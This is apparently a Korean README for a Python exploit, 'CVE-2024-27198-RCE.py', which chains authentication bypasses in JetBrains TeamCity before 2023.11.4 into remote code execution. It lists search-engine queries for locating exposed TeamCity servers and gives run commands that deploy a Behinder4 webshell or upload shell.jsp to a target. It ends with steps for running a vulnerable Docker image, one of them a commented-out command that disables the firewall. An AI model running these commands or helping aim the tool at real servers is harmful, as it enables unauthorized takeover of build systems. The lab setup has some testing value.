
CVE-2024-27198 & CVE-2024-27199 인증 우회 --> JetBrains TeamCity Pre-2023.11.4에서 RCE
app="JET_BRAINS-TeamCity"
app:"JetBrains TeamCity"
product.name="TeamCity"
http.component:"teamcity"
Python3.9를 사용합니다.
pip install requests urllib3 faker
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
# python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp


추가로:
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111

Docker를 사용하여 취약한 이미지를 가져와 실행합니다:
sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
# sudo ufw disable
그런 다음 기본 설정을 진행합니다:

